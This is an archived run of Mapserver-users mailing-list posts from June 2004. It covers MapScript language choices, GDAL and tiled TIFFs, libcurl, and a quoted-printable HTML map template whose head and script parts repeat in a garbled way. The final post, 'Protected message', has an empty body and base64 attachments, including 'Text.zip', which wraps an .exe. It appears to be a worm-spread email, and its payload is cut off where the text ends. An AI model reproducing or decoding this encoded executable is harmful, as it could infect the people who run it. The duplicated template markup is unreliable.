        <option value=3D"giofinder_adds_frames.html"> &nbsp;&nbsp;-- Adds frames

        <option value=3D"giofinder_adds_dhtml.html"> &nbsp;&nbsp;-- Adds dhtml rubber-band = box

      = </select>

      = <input type=3D"submit" = value=3D"Initialize"></center>

 

    </form>

 

    <p><hr><p>

  = </body>

</html>

 

 

 

 

=3D=3D=3D=3D TEMPLATE HTML = =3D=3D=3D=3D

 

<html>

  = <head>

    <title>Maps Downunder GioFinder = Application</title>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

<html>

  = <head>

    <title>Maps Downunder GioFinder = Application</title>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

<html>

  = <head>

<html>

<head>

  <title>Maps Downunder - GioFinder = Application</title>

</head>

<body = bgcolor=3D"#ffffff">

 

<center><h1>Maps Downunder - GioFinder Application</h1></center>

<hr>

<form method=3D"GET" = action=3D"[program]" name=3D"mapserv">

 

<center>

<table border=3D"0" = cellspacing=3D"0" cellpadding=3D"4">

<tr>

<td valign=3D"top" = align=3D"center">

  = <table width=3D"390" border=3D"0" = cellspacing=3D"0" cellpadding=3D"4" align=3D"center" bgcolor=3D"#666666">

    <tr>

      <td align=3D"center"><input type=3D"image" name=3D"img" src=3D"[img]" = width=3D"[mapwidth]" height=3D"[mapheight]" border=3D"0" alt=3D"this = is the map"></td>

    </tr>

    <tr><td = bgcolor=3D"#666666">

      <img title=3D"scalebar (mi)" alt=3D"scalebar (mi)" src=3D"[scalebar]">

    </td></tr>

  = </table>

</td>

<td valign=3D"top" bgcolor=3D"#ffffff">

  = <table cellpadding=3D"5" cellspacing=3D"0" = border=3D"0" bgcolor=3D"#ffffff">

    <tr><td>

      <center><input type=3D"submit" value=3D"Refresh/Query"></center>

      = <p>

 

      = <input type=3D"radio" name=3D"mode" = value=3D"browse" checked> <b>Browse = map</b><br>

      = <input type=3D"radio" name=3D"mode" = value=3D"query"> <b>Query feature</b><br>

      <input type=3D"radio" name=3D"mode" = value=3D"nquery"> <b>Query multiple features</b>

 

      = <hr>

 

      = <p>

      = <b>Select Layers to Display: </b><br>

      = <select multiple name=3D"layer" = size=3D3>

        <option value=3D"contours" [contours_select]> = Contours

        <option value=3D"waterbodies" = [waterbodies_select]> Lakes & Rivers

<!--        <option value=3D"lakespy2" [lakespy2_select]> = Lakes & Rivers

        <option value=3D"dlgstln2" [dlgstln2_select]> = Streams

        <option value=3D"roads" [roads_select]> = Roads

        <option value=3D"twprgpy3" [twprgpy3_select]> = Townships

        <option value=3D"drgs" [drgs_select]> USGS = 1:250,000 Quads

-->

      = </select>

 

      = <p>

      Zoom In <input type=3Dradio name=3Dzoomdir value=3D1 = [zoomdir_1_check]>

      Pan = <input type=3Dradio name=3Dzoomdir value=3D0 = [zoomdir_0_check]>

      Zoom = Out <input type=3Dradio name=3Dzoomdir value=3D-1 = [zoomdir_-1_check]>

      = <p>

      Zoom = Size <input type=3Dtext name=3Dzoomsize size=3D4 = value=3D[zoomsize]>

      = <p>

 

      = <font size=3D+1><b>Legend</b></font><br><hr>

      <img src=3D"[legend]"><hr>

 

      = <p>

      <center><input name=3D"ref" = type=3D"image" src=3D"[ref]" = border=3D"0"></center>

    </td></tr></table>

 

  </td></tr>

</table>

</center>

 

<input type=3D"hidden" = name=3D"imgxy" value=3D"[center]">

<input type=3D"hidden" = name=3D"imgext" value=3D"[mapext]">

<input type=3D"hidden" = name=3D"map" value=3D"[map]">

<input type=3D"hidden" = name=3D"root" value=3D"[root]">

<input type=3D"hidden" = name=3D"savequery" value=3D"true">

 

<input type=3D"hidden" = name=3D"program" value=3D"[program]">

<input type=3D"hidden" name=3D"map_web_imagepath" = value=3D"[map_web_imagepath]">

<input type=3D"hidden" name=3D"map_web_imageurl" = value=3D"[map_web_imageurl]">

<input type=3D"hidden" name=3D"map_web_template" = value=3D"[map_web_template]">

 

</form>

 

<p><hr><p><= /p>

 

<a href=3D"[root]/index.html">back to start</a><p>

<i>[map_web_template]</i>

 

</body></html>

 

------=_NextPart_000_0014_01C44AE1.37F8B640-- From lfilak at medinaco.org Fri Jun 4 21:07:11 2004 From: lfilak at medinaco.org (Lowell.Filak) Date: Sat, 5 Jun 2004 00:07:11 -0400 (EDT) Subject: [Mapserver-users] Perl/MapScript or PHP/Mapscript In-Reply-To: Message-ID: On Fri, 4 Jun 2004, Sean Gillies wrote: > On Jun 3, 2004, at 11:44 PM, Alexander Lim wrote: > > > Hi all, > > > > I just getting started and realised that we can make > > use of Perl/MapScript and PHP/Mapscript, but i would > > like to know what's the differences and which one is > > "better" to use. And which one is more popular and > > more people are using it (This is for getting help > > from this list when i face some problem down the > > line). Does the two perform and is doing the same > > thing at all? > > > > which one should i adopt in terms of flexibility and > > features. > > > > please advice. thanks > > > > alex > > > > Hi Alex, > > The mapscript family tree looks like this: > > MapServer > /\ > / \ > / \ > PHP/MapScript \ > \ SWIG MapScript > ---------+--------- > | | | > Perl Python Ruby > > The Perl, Python, Ruby flavors are like brothers and sisters and > the PHP MapScript is like a very close cousin to them. > > They are all quite equal in mapping capability. The Perl mapscript > does not quite work natively on Windows, but the others work equally > well across platforms. > > There is no clear "better" choice. It will depend on your needs. > > The PHP language makes web programming easy, and this is the most > popular type of MapScript. The DM Solutions Group uses PHP/Mapscript > primarily and have developed a bunch of great web mapping tools that > they share with PHP/Mapscript users. > > http://maptools.org/ > > They are also very good about answering questions on the users list, so > PHP/Mapscript has the best overall support. One looming issue for > PHP/Mapscript is that there is currently no support for PHP 5. > > On the other hand: Perl, Python, and Ruby are better and more complete > programming languages than PHP. Each of these languages are great for > web programming. The Ruby flavor of mapscript is very new, and is > being used in an application called MapDesk: > > http://www.sourcepole.com/mapdesk/ > > The Perl flavor of mapscript has been widely used, but isn't showing > much promise as a basis for apps like MapDesk. I don't understand > why. > > The Python flavor of mapscript is now the best supported of the > Perl/Python/Ruby family. In my opinion, the strongest argument for > using Python/MapScript is that you can then also use the GDAL module > for Python. This gives you the best access to many raster and > vector data formats. If you are a windows user, you can download a > windows installer for Python Mapscript from > > http://users.frii.com/sgillies/projects/pymapscriptwin32.zip > > It works right "out of the box" and batteries are included. > > Hope this information helps you. There are more options than you may > have expected! > > cheers, > Sean By "not showing much promise" are you referring to it not running on MS-Windows? Is that a requirement for apps like mapdesk? Thanks. Lowell From kalpin at solonet.co.id Fri Jun 4 22:11:45 2004 From: kalpin at solonet.co.id (kalpin at solonet.co.id) Date: Sat, 5 Jun 2004 12:11:45 +0700 (WIT) Subject: [Mapserver-users] convert shapefile to MSSQL Message-ID: <59466.202.155.122.214.1086412305.squirrel@mail.solonet.co.id> Dear all, I have simple question : how to convert my shapefile .dbf to MSSQL ? Thank you Kalpin Erlangga Silaen From sgillies at frii.com Fri Jun 4 22:25:14 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 4 Jun 2004 23:25:14 -0600 Subject: [Mapserver-users] Perl/MapScript or PHP/Mapscript In-Reply-To: References: Message-ID: On Jun 4, 2004, at 10:07 PM, Lowell.Filak wrote: > > By "not showing much promise" are you referring to it not running on > MS-Windows? Is that a requirement for apps like mapdesk? > > Thanks. > > Lowell > Lowell, that was just poor wording on my part. What I wanted to say was that despite Perl being the richest of the mapscripting languages, there are no contributed Perl/MapScript programs (at http://mapserver.gis.umn.edu/contributed.html) that are in the class of MapLab, or MapDesk, or like Chameleon which abstracts web mapping a bit further. For better or for worse, there is no "killer app" for Perl/MapScript, no particular program that drives users to adopt that flavor of mapscript as MapLab or Chameleon do for PHP/MapScript. On the other hand, Perl speaks for itself and has never needed a killer app for promotion. Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From warmerdam at pobox.com Sat Jun 5 07:09:02 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 05 Jun 2004 10:09:02 -0400 Subject: [Mapserver-users] Tiled Tiff problem solved In-Reply-To: References: Message-ID: <40C1D3FE.8050703@pobox.com> John Wiley wrote: > I heard ermapper was a go... > > >>>>"Wim Blanken (PI)" 06/04/04 11:46am >>> > > Hello Mapserver lovers, > > We had a problem using tiled tiffs in our mapserver application. Our favourite image converter (XNVIEW) could not convert these to 8 bits tiff in batch for use in mapserver. We downloaded a trial version of PMVIEW and this package does the job perfectly so it is a nice work around. Does however anyone know an opensource package that can handle and convert tiled tiffs? (packbits compressed). Does GIMP cover this? Wim / John, Note that GDAL can be used to read and convert tiled TIFFs. For that matter, if you build MapServer with GDAL support (and not the limited built-in TIFF support) you can use tiled tiffs directly in MapServer, often with better performance than stripped tiffs. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Sat Jun 5 07:10:29 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 05 Jun 2004 10:10:29 -0400 Subject: [Mapserver-users] LibCURL and MapServer In-Reply-To: <20040604182031.20215.qmail@hm47.locaweb.com.br> References: <40C0A0A7.8040902@pobox.com> <20040604182031.20215.qmail@hm47.locaweb.com.br> Message-ID: <40C1D455.7090707@pobox.com> Eduardo Patto Kanegae wrote: > and about LibWWW ? does mapserver need this too? Eduardo, I believe MapServer used to use libWWW but was switched to libcurl for a variety of reasons a year or two ago. LibWWW performs the same role as libcurl. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From jenu_ab at hotmail.com Sat Jun 5 08:05:29 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Sat, 05 Jun 2004 10:05:29 -0500 Subject: [Mapserver-users] Virtual Spatial Data from SQL Server Message-ID: Hi charlie did u say that u are getting any error or u just dont see the points on the map, if u see the map but not a point then try adding a dummy symbol layer in the mapfile....i was facing the same problem...this helped... also make sure u have the sign in the map right for the western hemispehere the longitues are negative and northern hemisphere the latitudes are positive write back if u still facing the problem cheers jenu _________________________________________________________________ Getting married? Find great tips, tools and the latest trends at MSN Life Events. http://lifeevents.msn.com/category.aspx?cid=married From TMitchell at lignum.com Sat Jun 5 11:10:13 2004 From: TMitchell at lignum.com (TMitchell at lignum.com) Date: Sat, 05 Jun 2004 12:10:13 -0600 Subject: [Mapserver-users] Protected message Message-ID: ----------auvryjxsfvunqymlgioy Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------auvryjxsfvunqymlgioy Content-Type: image/gif; name="hswsmqitoi.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="hswsmqitoi.gif" Content-ID: R0lGODlheQAPAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A /wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAz mQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDM mQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMz mTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPM mTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYz mWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbM mWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkz mZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnM mZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszM mczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8z mf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/M mf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAB5AA8AAAj/AP8JHEiwoMGD CBMqXMiwocOHECNKnEixosWLGDNq3KjQly9ixHzB44jwnj2B/pr5YkYQHrGRA+MRa0YwZEiS E/sRuydQ20ycAvPdS+cLn8Bpvvz5OvkPn69/xOIJvEfsn7hpKK8CnSiPmFGBH7eCZEZsW8Gb Nav+m/YOqlqqPLdGlOlvIDFmQj8yq5tX5FGQ0hzm+wcvKUF8OwkqlTowHzF1U31pkxsx7D9/ 8ZJSvezL2D9mT/8Zu1f4sjGsDi0LlNls8Oq7Bn3FJfvOWF3KDJWG/CjNbE3PIfvdDkntNkFf 6NQajFoQsXHOz6d5DgoWJm6FiOMSpGYvHlme+NSFsDSKD7TXs2gLbktc0Ffb49Obvkd/feE9 wwSbnb+/PT0+dKE1hNhXA2mzEkHVwPaPfq4tGNpL9Sk0zXlpCSTeWsT4oxQ81Dzlj4INIRXT U9n9k9k/9/HUFYEmJvUfixEWtEyAA+Ezo05V5aOSL9PUZU9IqDn0Dn75SENMOgSSZcxk/yxj E0h/wcNkjFRWaeVZH4EEUpZZbtnll1ra5NFuZIqj5Zgfpanmlk96SeaWGAUEADs= ----------auvryjxsfvunqymlgioy Content-Type: application/octet-stream; name="Text.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Text.zip" UEsDBAoAAQAIAKBgxTD4kvSdt1gAANdUAAALAAAAa3hoY2h3by5leGXKpa6mp527zFkCPVbD VThU+uy5h8XrcseSgsOsbePK0/Ndb/DZpoger+iWRgxdBUUvw5zsnO7tff4PAk/I55gC7JRT 4saPjDC9+2lSe9x5gbMQwEIfB64TyYt7x+IxIummy9J0JzEHkGsrXspk0es/LL3wYjzvBPlW +3ysiloMHJFExZJv0ogxNv107VVXQ1MrAOLDK3dc035QpD//YDyH13jsB/NZLaxF9jpzRMf6 wP7s/wTsClsAc1Sw6FfZriKVT+68FbhulMSTQVdICMGOyrFSIsUm8VnNysI9AZbHisZIisln QUQiv5BZj0Rhl6faCT97d3I71BfHT/8wioQ5YkhwgRqPGn1PiUkuEviczhStpq+FpsUz/6Zt DaPZy3OM9FIhuqBKVFPOydTiXTJ72bLw2MfamXjmD4tDECX0qJsD9lamrywdXsWtYIEH2eIz 7MoJmrZTazK8apNEc6Aic4qnsbHNWM4Y3DxrNiL9hhSMrVR5qPg8JxsMtRKqpSpjGSs85pEe XTfPLD/v93xa6d6aVjFImIWhNdELYXRdxhrE+7kwY+iZ8CVv5VGZpVBiI9mJmsdYD4PmmwFL cYTuk2I0zCwLDF/3wP8bX56uMOEuahxDjUPfvRwBVyFf9iu7ZQJpLOdc8cdTK6t5JSuZxgFa HROE+3nG2Ndnxn4AlxCBK7YR4AI6y9kL/1f72tWezIWYrjejBhCuxVQYCms2g3o9ueIDhxVu S/HKVtnUgwGcT3PoBpQD7qDQyx6ckhRPKBdtR2v1nS98djpDr8HDgf09btMaJ8F034Iu6qvg WfilskqXO92+ZSKwB3/NoHzJ6yHmJtflDrREnI7HiRpCfedLjoKbodieyX6G4V1x0Q6MXMVc TqpsDC0mTllSOUJ6mOHpb6PaPijxaqe2VHqpmIz6B8KtByic76OCvyrnSoek6Rl9MBwFpEib w7dYEiURs45Asrca+4pox+JVo+xeMaOaYxWPTuYVLGMl1QdX9DQfRl8XkpwqP+AepuiT0rSN EpUEmRKTEP+nQ6kWxPT/yUAWsWozVV3uvXnf3gcQVrfHkjAulIrJDoozs5Af8xy+R+P7+VDO tsHkI8LnBO1mYGfd7+lXMVJ67PnXqygO77Z44C7X/XCSPxBSQBz0tIOaE9+g2RQlIhb61ISw ovWd918v5F6Ar7mvVU5kjDugqsdvuQH4kvHzqwyr5h3/6QqJT7uM1o27DWs+NIbGtrQbPXSq 946zK11s3ymXdvdhI0lrkA3Dlzo7JeQrt8Mipue3SCme5vi+1v+wNA+7aV9VayUYka98pvAd 6xCZcdEp+nUiEfbYI6gMTA+n5Jcd2l2B/DxW+sxOwtFElcEcRPvh2ETCRR7u2FzNyEcpzHxR JnJ8Ern+LMfrd/jCuBmhsAojoeRLgm+FPnz148ejm5jtvQeMbta60OkuxYfCLMA6YKo+QEuo PzI6F3icyQQIx+8uTbTHXiP7LuCj8mlKAx3L7VSFCKtkeOUMst2UK2QGoDMfji1M+Z/yBabP pqB3ZQrinfeRJtyCZOZlvDoKr+nJf+mKTx7/IY4SkGU0/XHzKYLBhSJ2FsJrpBOHCbYRw5Va N7mrI5W7jOYppvFcggEQOgLuWfefhY3FrjHvxprIkzLXONBBuaz1JXRXFkzALcTBVTrLbKl+ YUbRj9x2C0d6/0GeScbIjkM8/pIOkBNcTTV07IFAJBcKyR7DjHj5g7iHWw4E2DkgaYVYEBER u9tgYKiIfKZ3lvVXqYJOSLxl1DaPIA1GBBatyzeYMVLFtIEcT+doGvttAoIiVDMBot/BUwu6 RYC37s0S9xmo6zGiNFjn7FZtSt6RqmCoJkOoW4fHRRc1JcNyH4rzJMsbNz+utEnVdYJSUw5S EExY4PX2aU0XGxqb7Xhet31y/Aci1aDEVTGxB8wb82XMjGOm2LJhCKYccn2NdGTKDvJgNFVU e1V3xsGnkz05Rp/0arZyel8liD/kamMTFVvcWhIbnyLnn6gy3qR1GsxU78lYMNpVOeajyPet 8CvfKyJRH4sofusgu+3x1v9sT32vTxg1VX/zp51ZP4OqzB2FeIsnP2yVFPh6YNm1HVcGnqeZ EMMzeB5T/Ant1htbFbt0fBFiAuJBskSkOINeZktxWLG3S1RL9OPTpkeFFCepQpdORDJVM2v8 QqAaR55TsJJMtRvi0AVNEd8wRgjEBhsqDsUqgAXrTe3XjzyTOtTZ8EJHXNMGIO2CUzgXNjsa vQPijog+JdBFPya/xJ6jjO+Q8tGno27IW4vkG5aiSehGRto+16sOLFAAT7yUgARRLv4lLgpl qMZjFehRso7OBmEn9h5N2j+5zpkhBXJica2hEBL7fUEk4kbyaV48u1Kd2r1AOIE77Ed1JhbZ xVvHJu+oy8y6+4OLCeJjRPsuFcL0Z2vVCFbofN9Zx6yE+OFSmvBW7Ylfb6l0KnpSsW87DcTj A2IXIAnizuD6sJIn6xGtByQnTkYzPi54JS8iM15e9Fve8MG6kPyd2pdyWimCC5L78InGTyy2 j/R5crBpsn1Sakei7NMe4QyWgn7M898/bjds6687VGr1USLiUDx3xXrnry7H2oseQimPBaOS MCkB6uXIYaNk5SUuvNZgdBbSBblMnWGTgtwWcA1ur21VvqZyyOntM1/thU92911FgmAlxcwy UCVP94P/rqhTRnDtO44QCkJem7+9GQWzLCB6rcZ/+jFdqXB8EIz7IqBj5GUOrooRqH1yzlxt nUKmUOch4OGGeb+CaZ6n9E2PCwgyK2yrHjiO+SUJe5wTN9i225gW5vt8siHqNfsJ5gp9EwbE hjqQVXbpL6TVMVdBfL3Hv0/ytWdtCeog0hi7DUysC9aYf4RALjYrs/aj7Ye3JTMcbTSj1Dxx hIgamDTJYoHUFjmwSp4LngMYsCk9ETSJ7lrS5MtEcDRgHGpqBSgq1bjf4XNUH7cmG7X9wM3n +NlulehkI5E+kcJzZpDO9S1OM9FH/zYAo8o+2uFPoaDhf8GjMogIXDMZLs0NUDpViKM3xqaM MtJNz+/LqP735FEKgz0B6EwxCll1igaXWB4jse619MmDDhAskrLuwn5V9hxgF2kD8Wg3wdhW +1Ek1L6gBM6qnL+CvTVpMSYWJO8Qjf7YJFQ5tkO5HMo++TJ5T1v8+W4ojtDXJFndHsDR254c Gim0GtgxXYKy1QhHUTbNXU0VsPFA0xa/ai2CiXJICGGw83W+TeEky0j90JaCr+gcjJ972E++ /HUrfYntIPFTWJetx1IkIRobXWEQQ/n1sl+NYOhaiilNty5Vd8JDR7x6LCN7bKZmrITT682a ceo7o5vvIJyJdlCAtkvUbbfDPINH3ZD+2n0eClPqM7DdlQFu2v3zFhxlSyrzxjuVMHiv4z7M HgYtsu8lQs1MzeGXBl6pW7463DDv7/BabhgifUoQq4VYkEFgWVvJgI6NW7zxjkpukPoYAEW5 eL/re7rDbTy0VcaW0mXgB+WhIaFO6ILhRyxpHwa2uVDRL84K62nppeI+Xxj39ORebOl2NAsJ q34IY1VRgGXric57TT/gkOMdmUysc9yHdILexR4ycJX3FkxzQ9xKdTajIwnhsL3gEohaSK0Y lq9r7i50mUK1+hExNR01lnK5iaxamr9OfkTTgBYwuMkjWKMaEYsza/nZ0xssRWlR304FK5zd cXIMJrdHLZ+J3mzTqI9Vbw30J+OH0WhRzDaDYm2lrQvHya8y6m9G6SOVGND/KVjwW+gjgwL/ jNFbFUxhIigzc6yIwAFyBp4MMYiKI/vbKarSR3Szt0/IQKINk1cmZghzjMWMcrTYtRFI6Zau Y7bgYnymTTjY46R0gnGRV+GPSxQ21MfPIYf9enWIVP+74kerDLL+hAXCG0+103r4/k3eQEQU QYUe+aTTXFgc8hJ4QkmGidAdlg3y+VLTgvGqC4nn4/zUps7U/EYKofJf200IWABN+r2ItWz+ vb+wHM/waNmlQbLJvIUT+arFC3bBXHJRdWGhjRTlpJRu04QbYR+bkrST8zepJJNvRdk0nbmt 2R7Rm/SrhXL2ZeEp29w0urM0v0bmT0bSRm9NDDyxOB3tE0SFElKcqFy270eA2qTjHXW4XPTO W+N7EI/sPy8XIKreD5SGTtcRlKmli8GxKLM67gIA6lI1VRrIANxpt1mK5xRu1ONjK9CW24gU /Xh2ELmeuYv4gvEhYJKN+qXFv0lA/netHg7d1wec/I+wpQB5MIkuAYaJ+dx/Um0Gd5LXrDo4 XM856YHJwr2mCP41s9RGKJ9FBl4EEIh7JKLbk8nB5LvYMVW2N1gqXQXAWuqtsyPCrtcEO6Di jA82kBCYZD2h/x0jvzTpaCIy8/ZN/whKkY5u0CSHeu5IOoSqucE0WJz30W9N3NvYtqCF9K0H 3FtXqqim53e4JNoTUyc1QQV7EaMqiNCHeItUkRY7CubP5N55QB6vOKaVxvHgIzvU2eLtHRHL /5c+0kCmt0WVHkgff5D8ZebVcQBNwNoNCUW41y+nGnjTjarAQW2E7VT3nc36HzMYd1+ysFRx qeYFH6sF6uM5frg8ONDDp3WNrnuhynueCh686ejVmTdDH2BKcQOypkqBwhIZpBTxY0F2cLpZ zaYcs+RiOBOprPnan0F5v83xniwX20lTxc7sdt9NHVNKOaOE/HbNLtm8gLkJDrAky9DEhl5W 5NBxiAmYA+oPk7j8PyAM33Hd5bObNTNtr/8L0uil2dHKt060Ho9srpbYkhlhsdgmabRXAsHs 1eg1k+kMddYHN3sn8QV5aMGbVcOFVUTdmhpBFlmTNpBN96OZswbt8Vllx2OMXyGW/gl0g+SK BCT4Mjo44H6Jj9ptwcx0SC5wnuFc+dwg8X51obxGqEvnyH5R6tvyFPOzukCa9eR1sz81XD08 Dsn505ZZVUgbl1PDp+gaXtd7JPex2BCuwnPtKyCpdz3lGlUOMGOMT+2C556vP24gFnB0S8bJ 9dMUhtvcaE7dRrVBOaV6wCzQ5BM7jXWZ60fqXDUfGwRTqnCt+rhrqNJHSfRCS2Di5OSYhcyy deaV5w//AtRmzHtlkYs6sR/Efw/4+Rf4Z+o6vQt6RjrmM7qQ84Tg0LgjnAdreMMDTZbKt+U7 miMHu92cXyB5pKorMUOEPx9jsuTLb4lnvSyxHFnVupR/twboetohsY2yGcYYHflMSLS9NUkX cLN1YrBfEzvGVQF4uKIkfSqfze9YgJbFgiCNJ0HfFR206d+Sq8EpQCXdJZOOvdAUT+cbjqbT Kj6dNnmNXjVeQOPFYt+lNaamwRHKxqSjUyUKHVtZEgzD1hsfCGUNs7wY0teb0CIoamgqsPHd RhSupdW8NWlolrF0WlpuVqRYZyPZma9yttWIIryQCjlezgWouwTL3ULFIuFHhpMKC3QNc9kz BkmgspttsQ7Z/0MeJdKQPvzDwo6WK1NOuP0FtOGNGUd7m8tSERm7WEmnUYyM0Olf82hWdd1/ KJBp2Q6/BEvcFnvJn2zZTJIsR2EZbK/Dppfn13AtOrttE/zmanFAFpevebapMeB6dbkZEzAQ z2dbJonMZI98ZvxDjUvAvARpCYGp5YsZkCNNSArtHEvIEw6lWidlAsQRbEFXo2U8Ik9V9CCr Qgeye0iCYHdyXFKBXsoMVJZdno/55XpPAMXXRlztgd6ZyEgGTG0Ic+Bnph2YWKFD3j3HtmPe ecnaqdgwQLsM3qz0xltyJjIenIpUPUPAoDoZ7PYxsOZzMVdm+VGMrqOM7sy+o0GZQPacTvBF 6PFg7BOPpW/0atIuYvm2fvDqCWB5LCZObdqNIg3v7uQkfa97regwGv9z8KGhO1rJk7pGpfOm 04d9t2JEMMS/zjftX5LOmiZwqQKVOHdOtrqAPFuwYIDvVnhdiw69lQHbCLDkUIaF3VKtu0L9 RW4PR/XH8t7aNM4iJ6s9IcgJGpnfCT8tAxQRme1X65yohm7eMTAwIUi+E8Ot3+BUznlcoLbR PqJHMbdY7Sz6uDLCiJU6S33qUj2B0Jbfdg344HdmGINpD6mtbbSnLT3tvl4now9IpiT5PSCP A1MXvZ+ApqMn4g9qRezNUpfzCxYvGWX5CS2Xq0yvuaQPVvblj74PWWDQTsWOgxPcKJgoOI8e us8o1RLTywALmKzxaFq4oHbu5rqTG9+Ql95Ko/1Dan/Zgljs/lNHJJkydVph6mDm34UBTWYC hhF3cIQhY7VYdmXhrA1XTFXJi5ExmpWSgwBCYZuxY0uETYtCgQGrMCYNfImiFHIGYg5V53au E4QPflVdl6xGQBiGWN2q+jGrEhxGPKfNRtp4oPl9tHC12hw+XTMZxFTgpy1eqDMQBD4sDlbI Mve91X7gGz7ZTmg4bXnmkCDzprlWTD9VckvxLpn4PG9LihIymFW6Ndd7J2ioxSHA4YMrVq+G iitCFmTY6TbC2wWPoJJjFkF5x/ccaUm2dohdTWR5+/uaFXSuvJn9muoeQ8wp8ddvlGqNza7B iG3hv473kK1TRQmy/+TFW6e+0Q46kYGQAVvfcHXcSmwAMg4nBLJvfoVxjXBpMK7MZR7GmSCm LmxlG+DU5S309IGhMJYEDCdu1nuyMJNJkm2IJwXB8NtD4YmJDvQusTe7hjjTWQcGeuHNWgJJ nQ6130crSZnoouzGDSVu5gPRhThOBojR7brgCb2ldsYkqjbt5YhyCSj7N2vryqKc4dOGeueB rMnh0oZWhhameFUZ7/yCvlFRATtlOS43gR39HE/B3wFHErYvXiRcNdcl45+nejX4deYqA0gl ahGDJDFywRHhdr33GB70OSLhz/jqA1h5hsCUTXpEsLwlakbkV/SMZHewcxanwvpONiKr5mIb 74uaEsQVak5EXFRFbiP6E795t2RXAxI3SXVk/Xztqh14L39i2eEEBHtQ/CKS6f0ThNL1gqMm 11JqlgNrwEMzDfCzolCVSyCsVY0YdhxW5X40EPsf3xQEZls5Cd+MbxH619dqYqWeUiyd8S61 U6eMKqRPjkoYoURtiPe6OUYxsJ4BbfYqzJmrg2GqD3PAMP57fXUs+h4YVYnE2NlLXzZuFH8v lkEglrMdmCxqJsPck7GYWnAQ1n7vPNlw895PgcSL5XNKgHhn+bp24tHLnrBiFJwP53W3BnzH DJqaxMG22eB9iKz9eDBbd8i157XS7OuR9G8+4yP84/Byn2X5kvBqGLuCbStODTUWbCOZfD/a 0laZvwQM0lcpZfqA7gtoZZ2M4bMp0VEIE6Qz8JDxpPgMP6c0uItbht5Ll652KM2jkDmTRSAV wvuWohzEkt4n39zHuYw7Vnng6Ki4uPKSdm0XA31HP+ISB8iyjm+B3xVQ8okFL0BjRSVHmxeN Psw7IV9ZYrXISUosQ+851nZJl8DPu0LWjZwFkLm2sQeu3LH05kZ6oSwHl+I37lsHOQDjXrrw tkaSK4Cg2usaoBfUGQ4EmOJFJs5ZkcNgngRGTXZnqaDlwQlzJXWBpqCpnikOIE8uDlaPU0p/ 1zfVVBNtRpJcxicG6LXvnccdJVVv3xzSXkAnpdswcYBV9BlNUzxN2W7+61SHnQ4QZv7NMZTM 456bZVK6rZ12h7wd13Pp3nT/GsnUSCaRhZYRHQ6Ymo+OAAJZS0yJhR32q5EmXyiNTQQqLFzh dV4Rh2E4s+dEcvOrqAWO/cjVRArfCEOhkV77pOBwgZIE3pOM+xHiDqm+OlFexKxsWWeYHSTC h3FzzreuRfyUd9pF7hVawy2wZieSbH4YAr6g1t50dtq7/P4VLIuijumen5e++xF/c68xiItT 